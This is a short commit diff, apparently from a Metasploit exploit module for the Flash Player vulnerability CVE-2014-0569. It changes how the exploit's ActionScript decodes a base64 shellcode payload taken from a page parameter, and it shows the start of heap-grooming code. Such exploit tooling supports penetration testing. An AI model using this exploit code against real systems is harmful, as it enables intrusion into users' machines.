Fix CVE-2014-0569

Author: jvazquez-r7

data/exploits/CVE-2014-0569/msf.swf

@@ -31,10 +31,13 @@ package
 		{
 			var i:uint = 0
 			var j:uint = 0
-			
-			b64.decode(LoaderInfo(this.root.loaderInfo).parameters.sh)
-			payload = b64.toByteArray().toString();
-			
+						
+			var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh
+            var pattern:RegExp = / /g;
+            b64_payload = b64_payload.replace(pattern, "+")
+            b64.decode(b64_payload)
+            payload = b64.toByteArray().toString()
+            
 			for (i = 0; i < defrag.length; i++) {
 				defrag[i] = new ByteArray()
 				defrag[i].length = BYTE_ARRAY_SIZE